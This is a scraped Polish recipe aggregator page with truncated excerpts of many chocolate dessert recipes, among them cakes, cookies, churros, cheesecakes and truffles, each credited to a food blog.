łyżki miodu 2 łyżki przyprawy piernikowej 3/4 łyżeczki proszku do pieczenia 1 i 1/3 łyżeczki sody oczyszczonej 250 g powideł śliwkowych lub dżemu z czarnej porzeczki 200 g czekolady deserowej Opis przygotowania: Zaczynamy od nagrzania piekarnika do temperatury 180 stopni. Masło (100g) kroimy na małe kawałki i wrzucamy do rondelka. Do tego dodajemy kakao, miód oraz przyprawę piernikową. Mieszamy(...)minut. Po upieczeniu ciasto wyciągamy z formy i przekrawamy je poziomo na 2 części. Dolną część smarujemy powidłami i przykrywamy 2 częścią ciasta. Do małego rondelka dodajemy pokrojoną drobno czekoladę (200g) oraz masło(200g). Całość gotujemy an małym ogniu, ciągle mieszając. Przygotowane wcześniej ciasto kroimy na dowolnej wielkości kostki i każdą z nich oblewamy z każdej strony polewą czekoladową

Ciastka i ciasta
Murzynek z mikrofalówki nadziany dżemem (babeczka z kubeczka w 5 minut) 105

łyżki mąki pszennej 1/2 łyżeczki proszku do pieczenia 3 łyżki kakao Dodatkowo: 1 łyżka dżemu/konfitury (u mnie czarna porzeczka 105% od Najtun) Polewa: 3-4 kostki czekolady 1 łyżeczka mleka  Jajko wbić do miseczki i roztrzepać za pomocą widelca.  Dodać olej z mlekiem, a całość dokładnie połączyć.  Następnie należy wsypać cukier, mąkę, proszek do pieczenia(...)kuchence mikrofalowej. Na wierchu ułożyć dżem/konfiturę. Naczynie wstawić do mikrofalówki, ustawić jej najwyższą moc (u mnie 750 W) i około 3-4 minuty (*). W międzyczasie przygotować polewę. Czekoladę rozpuścić z odrobiną mleka i rozsmarować po wierzchu gotowego ciastka. (*) Czas "pieczenia" może różnić się w zależności od rodzaju kuchenki, dlatego warto obserwować rosnące ciastko. Bywa, że czasami u niektórych

Di gotuje
Czekoladowe ciasto migdałowe Cookie Monster | bez glutenu / mąki / białego cukru | 152

naszym dniem przy kawałku pysznego ciasta. (Lekko koślawe, wybaczcie, to mój pierwszy raz!) Składniki: 200g zmielonych płatków migdałowych 80g cukru trzcinowego/kokosowego/ksylitolu 3 jajka 2 łyżki kakao  50g gorzkiej czekolady co najmniej 70% kakao 2 łyżki mleka (najlepiej roślinnego) lub wody Olej/masło do wysmarowania tortownicy Dowolna mąka do obsypania tortownicy Dekoracja: 1 puszka mleczka kokosowego (stała część) 1/2 opakowania(...)stewia, ksylitol, cukier kokosowy/trzcinowy Barwniki: niebieski, czarny Ciasteczko/ciasteczka (może być domowe owsiane lub sklepowe) Przygotowanie: Jajka ubijamy przez 5 min. z cukrem. Następnie dodajemy kakao i zmielone płatki migdałowe. Czekoladę rozpuszczamy z 2 łyżkami mleka. Dodajemy do masy i ponownie miksujemy. Przekładamy masę do posmarowanej odrobiną dowolnego oleju lub masła formy obsypanej dowolną mąką. Pieczemy

Czarnawisienka
Dietetyczne czekoladki Milka z orzechami | bez laktozy, wegańskie, bezglutenowe, fit | 138

wyraziste w smaku, kakao jest mocno wyczuwalne jednak przełamane słodyczą stewii. Wyglądają uroczo i są idealnym zamiennikiem (choć lekko się różniącym) oryginalnych. Składniki: 1 łyżka oleju kokosowego 30g czekolady gorzkiej min. 70% kakao (może być wersja wegańska i bez glutenu) 2 łyżki stewii w proszku  Garść pokruszonych orzechów (nerkowce/ziemne/włoskie) Przygotowanie: Do foremek na czekoladki nakładamy pokruszone orzechy(...)rondelku rozpuszczamy czekoladę z olejem kokosowym i stewią. Przelewamy do foremki. Wkładamy do zamrażalnika na co najmniej

Czarnawisienka
PŁONĄCA CZEKOLADOWA BAJADERA Z BEZĄ WŁOSKĄ 133

wyglądem! Zrobi furorę na każdym przyjęciu! Ja jestem zachwycona , a Wy? Koniecznie spróbujcie! SKŁADNIKI : ( 5 szt ) * wafelki Lusette czekoladowe – 2 szt * kruche ciastka / herbatniki – 150 g * czekolada mleczna – 50 g * mleko kokosowe – 100 ml * masło min.82% – 50 g * powidła śliwkowe – 50 g * orzechy macadamia, laskowe i arachidowe – ok. 150 g BEZA WŁOSKA: * drobny(...)woda – 30 ml SPOSÓB PRZYRZĄDZENIA: Do misy miksera / blendera wkładamy połamane wafelki Lusette oraz herbatniki – ucieramy na „piasek”. Mleko kokosowe gotujemy z masłem oraz czekoladą, wlewamy do ciasta. Dodajemy powidła śliwkowe oraz posiekane ( ale nie drobno ) orzechy i wszystko razem wyrabiamy na zwartą masę. Zwilżonymi dłońmi formujemy kule i odkładamy do lodówki. BEZA WŁOSKA

Ostra na Słodko
Churros 194

smaczne, więc najlepiej zjeść je zaraz po upieczeniu. Churros świetnie smakują maczane w ciepłym sosie czekoladowym. Możesz przygotować dowolny rodzaj polewy czekoladowej, dodając do niej trochę więcej kakao i/lub czekolady niż zwykle, dla lepszego smaku. Do polewy z przepisu w linku na liście składników polecam dodać pół tabliczki gorzkiej lub mlecznej czekolady, jeszcze przed dodaniem kakao. Można do posypania użyć

Anioszek w kuchni
Czekoladowy tort dla dzieci 178

Nasz tort czekoladowy jest jednym z ulubionych dziecięcych tortów – dlaczego?! Jego podstawa to dwa ociekające czekoladą blaty- mocno czekoladowego ‘murzynkowego’ ciasta – przełożone kremem z białej czekolady. Na wierzchu dalsza część pyszności – kremowe zdobienia i cała gromadka uwielbianych przez dzieci misiów żelków. Takie połączenie smaków uwielbiają nie tylko najmłodsi…jesteśmy pewni,że starsi smakosze tortów

Domowe Torty
Wilgotne ciasto czekoladowe z musem o smaku białej czekolady bez cukru 190

mąki pszennej! Mam nadzieję, że ten deser posmakuje Wam tak bardzo jak mi. Spód to zmodyfikowane brownie bananowe z dodatkiem kakao, masa to pyszny mus o smaku białej czekolady. Jeśli nie posiadacie odżywki białkowej, można dodać olejek waniliowy, kokosowy lub inny ulubiony. Sok malinowy również dobrze się spisze :) Spód: 2 banany 2 łyżki mąki kokosowej (lub dowolnej razowej) 2 jajka(...)suchego patyczka. Wyjąć, wystudzić. Mus : 2 opakowania serków homogenizowanych np Bieluch, łącznie 400 g 200 g jogurtu naturalnego 1 miarka odzywki białkowej o smaku białej czekolady (lub waniliowa) 2 łyżeczki żelatyny + woda do zalania sok z połowy cytryny Żelatynę zalać wodą do pokrycia. Serek, jogurt, odżywkę i sok wymieszać dokładnie łyżką. Żelatynę rozpuścić w mikrofali lub na małym ogniu

Chocolate Muffin Blog
Tort „Jak Po Maśle” na 3. urodziny bloga 201

masła Do przełożenia: 150 g konfitury z gorzkiej pomarańczy Krem maślany: 5 białek 250 g cukru 300 g masła 2 łyżki wody różanej Polewa: 100 g białej czekolady karmelowej 50 ml śmietany kremówki 36% 1 łyżeczka bezzapachowego oleju złoty barwnik (opcjonalnie) Dekoracja: makaroniki świeże owoce świeże kwiaty landrynki * PRZYGOTOWANIE Ciasto maślane Wszystkie składniki powinny mieć temperaturę pokojową. Masło ubij(...)ponownie. Gotowy krem pozostaw na kuchennym blacie (nie wkładaj go do lodówki, bo trudno będzie go nakładać). Polewa Polewę przygotuj po schłodzeniu obłożonego tortu. W kąpieli wodnej rozpuść posiekaną czekoladę wraz z kremówką. Wlej łyżeczkę oleju (najlepiej słonecznikowego lub rzepakowego). Możesz również dodać odrobinę złotego barwnika. Odstaw aż osiągnie temperaturę pokojową. Powinna być gęsta, ale jeszcze lejąca. Najlepiej jej gęstość

Food Square
Domowe lody czekoladowe 155

pyszny z gorącą kawą, naleśnikami czy goframi. Deser dla całej rodziny. Domowe lody Składniki: ok. 600 ml 60 g masła 250 ml mleka 2 duże jajka 200 g gorzkiej czekolady 125 ml kremówki + 125 ml do podania 70 g cukru ½ łyżeczki waniliowej pasty lub ekstraktu szczypta soli 2 łyżki liofilizowanych malinami Zagotuj połowę mleka z masłem. Z drugą połową mleka(...)roztrzep jajka i wlej do gorącego mleka energicznie mieszając. Doprowadź mieszankę do wrzenia ale nie gotuj, bo będzie jajecznica. Wlej mieszankę do blendera i dodaj pokrojoną czekoladę. Miksuj przez chwilę, a następnie wsyp cukier i wanilię i miksuj jeszcze przez 30 sekund. Na koniec wlej śmietankę i miksuj kolejne 30 sekund. Przelej lody do miseczki, przykryj folią i wstaw

codojedzenia
Zdrowa tarta czekoladowa snickers z karmelem bananowym 231

połowę wody ze szklanki i zmiksować na gładką masę. Dodać banany i olej, ponownie zmiksować.Wyłożyć masę na schłodzony spód., ponownie umieścić w lodówce.  Polewa: 1 tabliczka gorzkiej czekolady 70% 1/2 szklanki śmietanki kremówki lub chudszej według gustu Śmietankę podgrzać, dodać połamaną czekoladę i mieszać, aż do rozpuszczenia i powstania gładkiej masy. Wylać na ciasto. Schłodzić. Smacznego

Chocolate Muffin Blog
Pozwól sobie na chwilę rozkoszy w Walentynki – muffinki bardzo czekoladowe z bitą śmietaną i truskawkami i PDF z przepisami na W 155

przepisami na Walentynki Walentynki by Eat Me Fit A może skusisz się na rozkoszne i bardzo czekoladowe muffinki z bitą śmietaną i truskawkami? Wykonanie Wlej do garnka mleko, dorzuć czekoladę wcześniej połamaną na kosteczki, wsyp kakao i kawę. Podgrzej wszystko mieszając, aż do momentu rozpuszczenia się składników. Pozwól czekoladowej masie wystygnąć. W misie wymieszaj przestudzoną mieszankę, olej, cukier, roztrzepane jajka(...)suchego patyczka. Wyjmij i wystudź. Tuz przed podaniem na wystudzone babeczki wyłóż bitą śmietanę. Posyp je serduszkami i udekoruj świeżymi truskawkami. Rozkosznego wcinania :-p Składniki połowa tabliczki gorzkiej czekolady połowa szklanki kakao 2 łyżeczki kawy rozpuszczalnej 1 szklanka mleka 2 duże jajka 1 pełna szklanka mąki pszennej 3/4 łyżeczki sody oczyszczonej 3/4 szklanki jasnego brązowego cukru połowa szklanki oleju rzepakowego

Eat me! Fit me!
Czekoladowa lawa, czyli zdrowe śniadaniowe ciasto dla dwojga 155

mąki owsianej lub zmiksowanych płatków -białko jaja -szczypta sody -ok.1/4 szklanki mleka -dwa dojrzałe banany  -dwie łyżeczki kakao -garść mrożonych jagód -łyżeczka stewi -dwie kostki gorzkiej czekolady Wykonanie: Mąkę, sodę, słodzik i kakao dokładnie mieszamy. Dodajemy białko i rozgniecione banany. Mieszamy dokładnie by równo rozprowadziły się w mące. Dodajemy mleko do uzyskania konsystencji budyniu, dorzucamy garść jagód i posiekaną(...)gorzką czekoladę. Wylewamy do formy wysmarowanej olejem kokosowym i pieczemy ok 40 min tak by od zewnątrz ciasto ładnie się przypiekło, a w środku pozostało płynne.  Uwaga!  Jeśli wyjmiecie ciasto za szybko, ciężko będzie je wyjąć z formy bez zniszczenia, z kolei zbyt długie pieczenie powoduje brak płynnego środka... Więc pilnujcie ciacho i pieczcie je z miłością

Gawron w rosole
Tort czekoladowy bez wyrzutów sumienia 165

pieczenia 1 łyżka mąki owsianej 3 łyżki mąki migdałowej 1 łyżka wody składniki na krem czekoladowy: 1 szklanka suchej kaszy jaglanej 0,5 szklanki daktyli 100 g gorzkiej czekolady 70% 2 łyżki ciemnego kakao 2 małe puszki mleczka kokosowego (po 165 ml) esencja waniliowa - opcjonalnie do dekoracji: 3-4 banany na wierzch granat sok z połowy cytryny wykonanie: Biszkopt: Oddzielamy(...)dzięki temu krem będzie się lepiej trzymał. Krem czekoladowy: Gotujemy kasze jaglaną według przepisu. Pozostawiamy do wystudzenia.  Daktyle namaczamy w gorącej wodzie i pozostawiamy tak ma 30 minut. Czekoladę rozpuszczamy w kąpieli wodnej. Daktyle blendujemy z mleczkiem kokosowym. Dodajemy do nich kasze i pozostałe składnik. Bledbujemy wszystko do uzyskania jak najbardziej kremowej konsystencji. Gotowy krem przekładamy na biszkopt

Przysmaki Karolki
Ciasto czekoladowe z gruszkami 145

maliny i truskawki też byłyby niezłe. Oł maj gasz , no to kończę, bo zaraz napiszę, że z boczkiem też będzie super :) Składniki: 125 g miękkiego masła 100 g ciemnej czekolady 180 g powideł śliwkowych 150 g drobnego cukru trzcinowego szczypta soli 2 jajka (lekko ubite widelcem) 150 g mąki 1½ łyżeczki proszku do pieczenia 2 gruszki  Przygotowanie: Masło roztapiamy(...)gorącego dodajemy połamaną czekoladę, chwilę czekamy aż zmięknie i mieszamy aż masa będzie gładka.  Dodajemy powidła (lub dżem), cukier, sól i jajka. Dokładnie mieszamy i dodajemy przesianą mąkę z proszkiem do pieczenia. Ciasto (dość gęste) przekładamy do wysmarowanej masłem lub wyłożonej papierem foremki do pieczenia (21 x 21 cm lub kilku mniejszych w kształcie keksówek). Gruszki kroimy w grubsze

bistro mama
Sernik miodowy z cynamonem (pieczony) 152

wiaderka - polecam z Wielunia ) 100 ml śmietanki 30-36% 3 jajka 60g miodu (około 5 płaskich łyżek) 60g cukru 3 łyżki mąki ziemniaczanej 3/4 łyżeczki cynamonu Polewa: 70g czekolady mlecznej 1-2 łyżki mleka 1 łyżka masła Opcjonalnie: posiekane orzechy do posypania (u mnie włoskie) Przygotować spód. Wszystkie składniki dokładnie zmiksować, a następnie wklepać w dno tortownicy wysłanej papierem(...)stopniach.  Ciasto ostudzić przy uchylonych drzwiczkach piekarnika i później schłodzić (minimum 3 h, a najlepiej przez całą noc) w lodówce.  Po tym czasie przygotować polewę. Czekoladę rozpuścić z dodatkiem mleka i masła, a następnie przełożyć do rękawa cukierniczego. Polewą udekorować sernik i wierzch opcjonalnie posypać orzeszkami.  (*) Używam piekarnika gazowego, który czasami ma swoje humorki. Przeważnie ciasta piekę

Di gotuje
Kostka chałwowo czekoladowa 188

pieczenia (23.5x35 cm) i pieczemy ok 35 minut w 180 st. C Masa: 2 budynie śmietankowe ok 900 ml mleka 30 dag chałwy 20 dag bezów 1 gorzka czekolada 1 kostka masła pół szklanki herbaty do nasączenia Gotujemy budynie i studzimy. Miękkie masło ucieramy na puch, a następnie dodajemy po łyżce zimnego budyniu. Utartą masę dzielimy na 2 części(...)jednej dodajemy pokruszoną chałwę i starannie miksujemy. Do drugiej części rozpuszczoną gorzką czekoladę (ważne by była ostudzona) i również miksujemy do połączenia. Złożenie ciasta: biszkopt kroimy na pół, nasączamy herbatą, wykładamy krem chałwowym, układamy bezy, a na nie kremem czekoladowy i drugą część biszkoptu. Można polać po wierzchu polewą czekoladową. Gotowe ciasto chłodzimy 2-3 godz w lodówce by masa

Cynamonowe szczęście
Czekoladowe ciasto słodzone daktylami, z dodatkiem herbaty earl grey 214

earl grey 200 g daktyli 200 g mąki (użyłam orkiszowej typ 750) 2,5 łyżeczki proszku do pieczenia 4 łyżki kakao 180 miękkiego masła 4 jajka 100 g gorzkiej czekolady Instructions Na początku trzeba pamiętać o wyjęciu masła z lodówki, żeby zmiękło. Zaparzyć herbatę w 200 ml gorącej wody przez ok 5 minut. Z herbaty wyjąć torebkę, zalać daktyle(...)misce wymieszać mąkę, proszek i kakao. Następnie dodać zmiksowane daktyle, masło i jajka i dokładnie wszystko zmiksować. Przełożyć do formy do pieczenia i piec 50-60 minut. Ostudzić ciasto. Czekoladę rozpuścić ( ja to robię w metalowej misce ustawionej na garnku z gorącą wodą) i posmarować wierzch ciasta. 3.5.3226 The post Czekoladowe ciasto słodzone daktylami, z dodatkiem herbaty earl grey appeared

Cooking for Emily
CIASTKA CZEKOLADOWE - CHOCOLATE CHIP COOKIES 91

drobnego cukru trzcinowego 150 g mąki 50 ml mleka 1 jajo 0,5 łyżeczki proszku do pieczenia 3 łyżki kakao (bez cukru) szczypta soli 300 g posiekanej gorzkiej czekolady Przygotowanie Posiekajcie czekoladę, nagrzejcie piekarnik do 160 st (bez termoobiegu). Masło zmiksujcie razem z cukrem na puszystą masę, dodajcie jajo i miksujcie dalej. Pozostałe suche składniki- mąkę, kakao, sól i proszek

OliveandThyme
PYSZNE CIASTO CZEKOLADOWE Z BANANAMI WG PAWŁA MAŁECKIEGO 160

spędzony w kuchni także. Szybkie, pyszne, delikatne. I oprócz wspaniałego ciasta, mam też... czas.  Mój cenny czas… Składniki 125 g masła 200 ml śmietanki słodkiej 30 % 200 g czekolady gorzkiej 4 jaja 100 g cukru 40 g mąki pszennej tortowej 35 g mąki ziemniaczanej łyżeczka proszku do pieczenia 2 banany opcjonalnie: kakao do posypania szczypta soli, masło do posmarowania(...)bułka tarta do obsypania formy Przygotowanie W garnku rozpuśćcie masło, dodajcie połamaną czekoladę i poczekajcie aż się rozpuści, mieszając, by się nie przypaliła. Następnie wlejcie śmietankę i wsypcie cukier. Podgrzejcie masę do ok 60 stopni, przełóżcie do misy w której będziecie mieszać składniki i odstawcie do wystygnięcia. Oddzielcie białka od żółtek. Te drugie dodajcie do masy, razem z proszkiem

OliveandThyme
DOMOWE BATONIKI CZEKOLADOWE Z PŁATKAMI OWSIANYMI I ORZECHAMI 116

Składniki 50-75 g płatków owsianych 50 g płatków migdałowych 50 g posiekanych orzechów laskowych 2-3 łyżki sezamu (można zamienić jednym z pozostałych składników) 200 g dobrej, mlecznej czekolady 2 duże łyżki miodu 3 łyżki mleka zagęszczonego niesłodzonego 30 g masła spora szczypta dobrej, niezbyt drobnej soli (morskiej, himalajskiej etc) Przygotowanie Przygotujcie formę, wyłóżcie ją papierem do pieczenia(...)mnie forma 18x23 ) Orzechy, migdały, płatki owsiane i sezam uprażcie z solą na suchej patelni (uważając, żeby się nie przypaliły). Odstawcie. Do rondla włóżcie połamaną czekoladę, masło, miód, wlejcie mleko. Podgrzewajcie, mieszając, do rozpuszczenia i połączenia składników. Do gładkiej już masy wsypcie uprażone wcześniej dodatki, wymieszajcie w miarę dokładnie i wyłóżcie do przygotowanej wcześniej formy. Wygładźcie wierzchem łyżki, wstawcie

OliveandThyme
CZEKOLADOWE CIASTO Z BANANAMI I SOSEM TOFFI 141

jaja 2 łyżki likieru Frangelico (lub innego, Waszego ulubionego ) 110 g mąki pszennej 1/2 łyżeczki proszku do pieczenia 50 g kakao 1 łyżka mleka 100 g dobrej, gorzkiej czekolady, drobno posiekanej 1 banan, obrany i pokrojony w plastry do posypania cukier puder sos toffi: 250 ml śmietanki kremówki 150 g brązowego cukru 75 g masła 1/2 łyżeczki soli morskiej Przygotowanie(...)Wbijcie do niego jaja, wsypcie cukier puder, wlejcie likier i wymieszajcie. Dodajcie przesianą mąkę wymieszaną z kakao i proszkiem do pieczenia, wymieszajcie do połączenia składników. Wlejcie łyżkę mleka, wsypcie czekoladę i pokrojone banany. Wymieszajcie. Połowę ciasta wyłóżcie na przygotowana blachę. Rozsmarujcie na tym sos toffi i przykryjcie pozostałym ciastem. Zrobi się Wam lekki bałagan- toffi wypłynie w różnych miejscach

OliveandThyme
MOCNO CZEKOLADOWE CIASTO Z MĄKI GRYCZANEJ (BEZGLUTENOWE) 184

czekoladowe ciasto. Z ledwie wyczuwalną gryką (wyczułam ja, nikt poza mną). Delikatne. Maliny idealnie dopełniają całości (ale nie są koniecznością). Tyle opisu. Teraz konkretniej: Składniki 300 g dobrej, gorzkiej czekolady 1/2 szkl mąki gryczanej 120 g masła 6 jaj 200 g cukru szczypta soli 1 łyżka ekstraktu z wanilii masło do wysmarowania formy kakao do obsypania formy maliny, listki mięty(...)termoobiegu).Przygotujcie formę (u mnie klasyczna tortownica o średnicy 25 cm), wysmarujcie ja masłem i obsypcie kakao. Masło włóżcie do rondla, roztopcie. Do gorącego masła dołóżcie połamaną czekoladę i poczekajcie aż się rozpuści. Wymieszajcie dokładnie, przestudźcie. Jaja utrzyjcie z cukrem i ekstraktem z wanilii (tylko do momentu połączenia składników). Wlejcie lekko przestudzoną masę czekoladową, wsypcie mąkę gryczaną i sól

OliveandThyme
Makowiec bez jajek i glutenu 147

odrobinę dociskając. Formę wstawić do piekarnika nagrzanego do 160 o C(T), piec około 50 – 55 minut. Upieczony makowiec pozostawić w formie do całkowitego wystudzenia. Wystudzony można polać roztopioną czekoladą, polewą karobową lub lukrem ksylitolowym, ozdobić suszonymi owocami, orzechami albo np. pestkami granatu. Smacznego! Mak nie wymagać będzie gotowania, jeśli zostanie wcześniej namoczony. Wówczas koniecznym będzie odlanie maku na sitku(...)dosłodzić cukrem kokosowym lub ksylitolem. Jeśli chcemy uzyskać wyższe ciasto należy upiec je w formie o mniejszej powierzchni, a pieczenie odpowiednio wydłużyć. Do polania ciasta użyłam 60 g gorzkiej czekolady (82% kakao) roztopionej w kąpieli wodnej wraz z łyżeczką oleju kokosowego

Even Better Food
Trufelki 101

mąki pszennej, 3 łyżki miękkiego masła, 1 żółtko, 1 łyżka zmielonej kawy, 20 ml rumu, 25 - 30 ml spirytusu, 100 ml tartych migdałów, do obtoczenia „posypka”: kakao, strata czekolada, starte migdały, starte orzechy Zagotować i chwilę gotować cukier z mlekiem, dodać kawę, zamieszać. Odstawić do ostudzenia. W oryginalnym przepisie, kawę dodaje się później. Mąkę uprażyć. Przesiać. Żółtko utrzeć z masłem(...)Wlać mleko z cukrem, wymieszać, wsypać mąkę, dodać rum i spirytus, wsypać migdały i wyrobić. Na talerzu rozsypać kakao, orzechy, migdały lub czekoladę. Następnie łyżką nabierać kawałki ciasta, kłaść na talerzu i obtaczając w „posypce” formować kulki. Odstawić do lodówki na 2 godziny. zastawa

królestwo garów
Ciasteczka z kawałkami czekolady 82

pokrojone w kostkę, cukier białym cukier brązowy, cukier waniliowy i jajko. Mieszamy mieszadłami do wyrabiania ciasta. Dodajemy mąkę, sodę, proszek do pieczenia, sól i znów mieszamy. Wyłączamy mikser, dodajemy czekoladę rozdrobnioną (na desce siekam ją nożem). Na blachę do pieczenia wykładam papier. Z ciasta formuję rękami kulki wielkości orzecha laskowego, spłaszczam je i układam w odległości około 4 centymetrów. Piekę(...)temperaturze 180 stopni przez 15 minut.   Artykuł Ciasteczka z kawałkami czekolady pochodzi z serwisu Moja Qchnia Pełna Smaku

MojaQchnia.pl
Odchudzony deser Oreo w słoiczku 1391

słoiczki widoczne na zdjęciu. Spróbujcie! Składniki: – 500g serka naturalnego (twarogowego lub takiego na kanapki) – 1 opakowanie ciasteczek Oreo (176g) – 1 banan *opcjonalnie: roztopiona gorzka czekolada, dodatkowy cukier/ksylitol 12 ciastek Oreo otwieramy, ściągamy nożem biały środek (nadzienie) i umieszczamy wraz z serkiem w misie blendera. Miksujemy na gładki krem. Dodajemy pokrojonego na grubsze plastry banana, miksujemy. Po wydrążeniu(...)chcemy. Pozostałe 16 ciasteczek umieszczamy w woreczku strunowym i rozdrabniamy (tłuczkiem lub ręką) na kawałeczki. W słoiczkach na dnie umieszczamy po kolei: rozdrobnione ciasteczka, następnie masę serową, roztopioną gorzką czekoladę (jeśli zdecydowaliśmy się jej użyć), kolejną warstwę ciasteczek, masę serową, rozdrobnione ciasteczka i dekorujemy przekrojonym na pół ciasteczkiem Oreo. Przechowujemy w lodówce. Smacznego! Artykuł Odchudzony deser Oreo w słoiczku pochodzi

Be Fit Be Strong
Ciasto "cycki murzynki" 334

żółtek  6 łyżek cukru  3 łyżki mąki  Dodatkowo: rodzynki  biszkopciki  białe wino lub woda+sok z cytryny+cukier do nasączania  100 g czekolady deserowej 300 g dżemu brzoskwiniowego 50 g masła  Przygotowanie:  Biszkopt: Białka ubić na sztywno, dodać cukier i dalej ubijać. Do ubitej piany dodawać po 1 żółtku cały czas(...)zmiksować na gładką masę. Ostudzony biszkopt posmarować dżemem, przykryć ciastem makowo-kokosowym, na to wyłożyć krem, nasączone biszkopty, każdy  udekorować rodzynką, polać rozpuszczoną i wymieszaną z masłem czekoladą. Schłodzić w lodówce. SMACZNEGO!!! Inspired by  http://mojetworyprzetwory.blogspot.com/2012/02/cycki-murzynki.html

Malinowo w kuchni
MORELOWE SERNICZKI Z PATELNI 214

siemienia lnianego (ok. 5 g) 1 jajko rozmiar L 4 suszone morele (ok. 30 g) 1 płaska łyżeczka oleju kokosowego (ok. 5 g) Do ozdoby: 10 g gorzkiej czekolady - 1 duża kostka; 1 suszona morela (ok. 7 g) 1. Twaróg wymieszałam widelcem z jajkiem. Dodałam płatki, kaszę, siemię i pokrojone drobno morele. Wszystko pomieszałam i zostawiłam na kilka minut(...)patelni rozgrzałam olej. Smażyłam małe placuszki na małym ogniu do zarumienienia. Uwaga przy przewracaniu na drugą stronę - placuszki są delikatne. 3. Serniczki udekorowałam pokrojoną morelą i posiekaną kostką gorzkiej czekolady. SMACZNEGO! Wartość odżywcza* porcji: 456 kcal 31,8 g białka 18,4 g tłuszczów (w tym 8,5 g tłuszczy nasyconych) 44,3 g węglowodanów

Vroblewska-fitlife
Ciasto makowe z czekoladą, migdałami i kremem mascarpone (tort) 142

szklanki mleka do zaparzenia maku 1 szklanka cukru 3 łyżki bułki tartej (płaskie) 2 łyżki zmielonych herbatników (można zastąpić bułką tartą)  50g migdałów (bez skórki) 30g gorzkiej czekolady 5-6 jajek 1 łyżeczka proszku do pieczenia (płaska) 3 łyżki soku z cytryny kilka kropel aromatu migdałowego Krem: 300g serka mascarpone 150g śmietanki kremówki 30% 60g cukru pudru 1 łyżka(...)białości i połączyć z sokiem  z cytryny oraz aromatem migdałowym. Do masy żółtkowej stopniowo dodawać mak, bułkę tartą, herbatniki, proszek do pieczenia, drobno posiekane migdały i startą czekoladę. Całość dokładnie wymieszać i na końcu delikatnie połączyć z białkami ubitymi na sztywną pianę. Ciasto przełożyć do formy wysłanej papierem do pieczenia i wstawić do średnio rozgrzanego piekarnika. Piec

Di gotuje
Napoje z masłem migdałowym 173

albo pesto). Poza migdałami, do smoothie dodajemy kakao, banana i szpinak. Całość ma dość niezachęcający, lekko błotny kolor ale jest naprawdę przepyszne! Druga propozycja, idealna na zimę to gorąca czekolada migdałowa. Wyjątkowego smaku nadają jej suszone śliwki. Pyszny zimowy, rozgrzewający napój, na śniadanie lub gdy potrzebny jest energetyczny kop w ciągu dnia. Czekoladowe smoothie migdałowe z bananem szpinakiem 2 szklanki(...)mleko, wycisnąć dobrze migdały. Wyciśnięte migdały można użyć do pesto albo do ciasteczek. Mleko migdałowe, szpinak, masło migdałowe, kakao i miód umieścić w blenderze i całość dobrze zmiksować. Gorąca czekolada migdałowo-śliwkowa 1½ szklanki gorącej wody 3 suszone śliwki (najlepiej je namoczyć wcześniej na 10 minut w gorącej wodzie, żeby były bardziej miękkie i się lepiej zmiksowały) 1 czubata łyżka

Cooking for Emily
Owsiano-razowe ciasteczka z czekoladą 123

szklanki mielonych orzechów włoskich 3 łyżki sezamu 1 łyżeczka proszku do pieczenia 0,5 szklanki cukru trzcinowego 2 łyżki miodu 100g masła 2 małe jajka 50g posiekanej gorzkiej czekolady Miód, masło i cukier rozpuścić w rondelku, ostudzić. Dodać jajka, roztrzepać. Płatki, sezam, orzechy, mąkę i proszek wymieszać, wlać płynne składniki, doda czekoladę, wymieszać na gęste, lekko klejące ciasto. Z ciasta

Obiad gotowy
Jogurtowo-czekoladowe ciastka 115

szklanki greckiego jogurtu 1 i 1/2 szklanki mąki pszennej 1 szklanka gorzkiego kakao 1 łyżeczka proszku do pieczenia 1 łyżeczka ekstraktu waniliowego szczypta soli 100 g posiekanej gorzkiej czekolady Przygotowanie: 1. Piekarnik nagrzewamy do 180 stopni 2. Mieszamy jajko z cukrem i wanilią do uzyskania gładkiej konsystencji 3. W osobnej misce mieszamy mąkę, kakao, sól, proszek do pieczenia, dodajemy jajko(...)wymieszane z cukrem 4. Do masy dodajemy jogurt, jeśli ciasto jest bardzo gęste można dodać więcej jogurtu, mieszamy 5. Do masy dodajemy posiekaną czekoladę, mieszamy 6. Na blaszce wyłożonej papierem do pieczenia układamy kulki z ciasta, pozostawiamy między nimi ok 3 cm wolnej przestrzeni, lekko spłaszczamy i pieczemy ok 10 minut, studzimy na kratce

Słodki Kompromis
Churros z sosem czekoladowym 90

szczypta soli 2 łyżki cukru 125 g mąki pszennej 3 jajka ¾ szklanki cukru pudru 3 łyżeczki cynamonu olej do smażenia ok 1 l Sos czekoladowo-kawowy 150 g gorzkiej czekolady 125 ml śmietany 30 % 60 ml mleka 60 ml espresso Przygotowanie: 1. Wodę, masło, 2 łyżki cukru i szczyptę soli zagotowujemy w średniej wielkości rondelku, kiedy zacznie wrzeć dodajemy mąkę(...)być lekko ciepła  4. Do masy wbijamy kolejno jajka, miksujemy za pomocą miksera do uzyskania gładkiej masy 5. Sos czekoladowy - wszystkie składniki umieszczamy w rondelku, podgrzewamy wolno aż czekolada zupełnie się rozpuści, na koniec dolewamy espresso, mieszamy, sos utrzymujemy w cieple, ponieważ zimny gęstnieje 6. W szerokim rondlu podgrzewamy olej, idealna temperatura smażenia to ok 175 stopni

Słodki Kompromis
Ciastka czekoladowe z ziarnami kakaowca 167

cukru trzcinowego muscovado  szczypta soli białka z 3 jaj 310 g mąki pszennej 1 łyżeczka sody oczyszczonej 1/2 łyżeczki proszku do pieczenia 50 g kakao 250 g czekolady 60% 60 g prażonego ziarna kakaowca    Przygotowanie:   1. Za pomocą miksera mieszamy miękkie masło z cukrem i solą 2. Dodajemy białka, wlewamy je do masy małymi porcjami, cały(...)czas miksujemy 3. Pozostałe sypkie produkty mieszamy ze sobą i przesiewamy przez sito, następnie dodajemy do masy i dokładnie mieszamy 4. Czekoladę siekamy na kawałki i dodajemy razem z ziarnem kakaowym do masy 5. Z ciasta formujemy walec, zawijamy w folię spożywczą i wstawiamy do lodówki na ok 30 min 6. Schłodzone ciasto kroimy w plastry i rozkładamy na blaszce

Słodki Kompromis
KOKOSOWY SERNICZEK Z PATELNI 153

